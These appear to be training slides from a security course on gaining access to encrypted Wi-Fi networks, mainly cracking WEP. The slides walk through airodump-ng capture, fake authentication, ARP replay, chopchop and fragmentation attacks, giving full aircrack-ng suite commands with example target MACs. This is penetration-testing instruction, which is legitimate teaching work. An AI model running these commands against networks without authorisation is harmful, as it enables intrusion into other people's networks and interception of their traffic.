Gaining Access to encrypted networks

- Everything we have learned so far we can do it without having to connect to the target network.
- We can get more accurate info and launch more effective attacks if we can connect to the target network.
- If its an open network then we can just connect to it without a password and proceed to section 3.
- Problem is if the target network uses a key , ie: if it uses some sort of encryption.

Gaining Access to encrypted networks

Three main encryption types:

1. WEP
2. WPA
3. WPA2

We shall explain how to crack all of these types of encryption.

WEP Cracking

WEP is an old encryption , but its still used in some networks , there fore we will explain how to break it.

It uses an algorithm called RC4 where each packet is encrypted at the AP and is then decrypted at the client , WEP insures that each packet has a unique key stream by using a random 24-bit Initializing Vector (IV) , this IV is contained in the packets as plain text. The short IV means in a busy network we can collect more than two packets with the same IV, then we can use aircrack-ng to determine the key stream and the WEP key using statistical attacks.

Conclusion: The more IV's that we collect the more likely for us to crack the key.

WEP Cracking
Basic Case

iSECUR1TY
INTEGRATED SECURITY SOLUTIONS
مركز الدورات التدريبية

Ok so all we need to do is to run airodump-ng to log all traffic from the target network.

```
> airodump-ng --channel [channel] --bssid [bssid] --write [file-name] [interface]
Ex: airodump-ng –channel 6 –bssid 11:22:33:44:55:66 –write out mon0
```

At the same time we shall use aircrack-ng to try and crack the key using the capture file created by the above command.

```
> aircrack-ng [file-name]
Ex: aircrack-ng out-01.cap
```

Keep both programs running at the same time and aircrack-ng will be able to dtermine the key when the number of IV's un out-01.cap is enough.

WEP Cracking
Packet Injection

What if the AP was idle , or had no clients associated with it ?

In this case we have to inject packets into the traffic in order to force the router to create new packets with new IV's.

We shall explain 3 methods to increase the number of IV's rapidly in clientless AP's, so that if one method does not work we can try another , knowing 3 methods guarantees that we can crack any WEP encrypted network.

WEP Cracking
Fake Authentication

iSECUR1TY
INTEGRATED SECURITY SOLUTIONS
مركز الدورات التدريبية

Before we can start injecting packets into the traffic , we have to authenticate our wifi card with the AP, because AP's ignore any requests that come from devices that are not associated with the AP. This can be done easily using airmon-ng like so

```
> aireplay-ng --fakeauth 0 -a [targe MAC] -h [your MAC] [interface]
ex: aireplay-ng --fakeauth 0 -a E0:69:95:B8:BF:77 -h 00:c0:ca:6c:ca:12 mon0
```

If this fake authentication was successful the value under the “AUTH” column in airodump-ng will change to “OPN”

Packet injection
1. ARP request reply

iSECUR1TY
INTEGRATED SECURITY SOLUTIONS
مركز الدورات التدريبية

In this method , after successfully associating with the target AP , we will wait for an ARP packet , we will then capture this packet and inject it into the traffic , this will force the AP to generate a new ARP packet with a new IV , we capture this new packet and inject into the traffic again , this process is repeated until the number of IV's captured is sufficient enough to crack the key.

```
> aireplay-ng --arpreplay -b [targe MAC] -h [your MAC] [interface]
ex: aireplay-ng --arpreplay -b E0:69:95:B8:BF:77 -h  00:c0:ca:6c:ca:12 mon0
```

Packet injection
2. Korek chop chop

In this method we will capture an ARP packet and attempt to guess its key stream and use it to forge a new packet (using packetforge-ng) ,then we can inject this new forged packet into the traffic to generate new IV's.

1. Capture a packet and determine its key stream.

```
> aireplay-ng --chopchop -b [target MAC] -h [you MAC] [interface]
ex: aireplay-ng --chopchop -b E0:69:95:B8:BF:77 -h 00:c0:ca:6c:ca:12 mon0
```

2. Forge a new packet

```
> packetforge-ng -0 -a [target MAC] -h [your MAC] -k 255.255.255.255 -l 255.255.255.255 -y [out from last step.xor] -w [output]
Ex:packetforge-ng -0 -a E0:69:95:B8:BF:77 -h 00:c0:ca:6c:ca:12  -k 255.255.255.255 -l 255.255.255.255 -y 1122out.xor -w chop-out
```

3. Inject the forged packet into the traffic to generate new IV's.

```
> aireplay-ng -2 -r [out from last step] [interface]
Ex: aireplay-ng -2 -r chop-out mon0
```

Packet injection
3. Fragmentation Attack

The goal of this method is to obtain 1500 bytes of the PRGA (pseudo random generation algorithm) , this can be used to forge a new packet which can be injected into the traffic to generate new IV's.

1. Obtain PRGA.

```
> aireplay-ng --fragment -b [target MAC] -h [you MAC] [interface]
ex: aireplay-ng --fragment -b E0:69:95:B8:BF:77 -h 00:c0:ca:6c:ca:12 mon0
```

2. Forge a new packet

```
> packetforge-ng -0 -a [target MAC] -h [your MAC] -k 255.255.255.255 -l 255.255.255.255 -y [out from last step.xor] -w [output]
Ex:packetforge-ng -0 -a E0:69:95:B8:BF:77 -h 00:c0:ca:6c:ca:12  -k 255.255.255.255 -l 255.255.255.255 -y 1122out.xor -w chop-out
```

3. Inject the forged packet into the traffic to generate new IV's.

```
> aireplay-ng -2 -r [out from last step] [interface]
Ex: aireplay-ng -2 -r chop-out mon0
```